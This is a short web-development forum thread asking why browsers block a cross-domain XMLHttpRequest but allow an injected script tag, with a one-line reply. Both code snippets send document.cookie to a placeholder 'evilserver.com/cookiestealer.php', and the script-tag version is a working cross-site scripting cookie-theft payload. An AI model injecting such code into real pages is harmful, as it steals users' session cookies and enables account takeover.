Results 1 to 2 of 2

Thread: AJAX Cross-Domain Limitations

  1. #1
    Join Date
    Jun 2005
    Location
    英国
    Posts
    11,876
    Thanks
    1
    Thanked 180 Times in 172 Posts
    Blog Entries
    2

    Default AJAX Cross-Domain Limitations

    I've just had an interesting question put to me: why is
    Code:
    var a = new XMLHttpRequest();
    a.open("GET", "http://www.evilserver.com/cookiestealer.php?cookie=" + encodeURIComponent(document.cookie), true);
    blocked from a different server, but:
    Code:
    var a = document.getElementsByTagName("head")[0].appendChild(
      document.createElement("script")
    );
    a.type = "text/javascript";
    a.src = "http://www.evilserver.com/cookiestealer.php?cookie=" + encodeURIComponent(document.cookie);
    not?
    Last edited by Twey; 10-01-2006 at 03:19 PM.
    Twey | I understand English | 日本語が分かります | mi jimpe fi le jbobau | mi esperanton komprenas | je comprends français | entiendo español | tôi ít hiểu tiếng Việt | ich verstehe ein bisschen Deutsch | beware XHTML | common coding mistakes | tutorials | various stuff | argh PHP!

  2. #2
    Join Date
    Sep 2005
    Posts
    882
    Thanks
    0
    Thanked 3 Times in 3 Posts

    Default

    I guess this would depend on the browser.

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •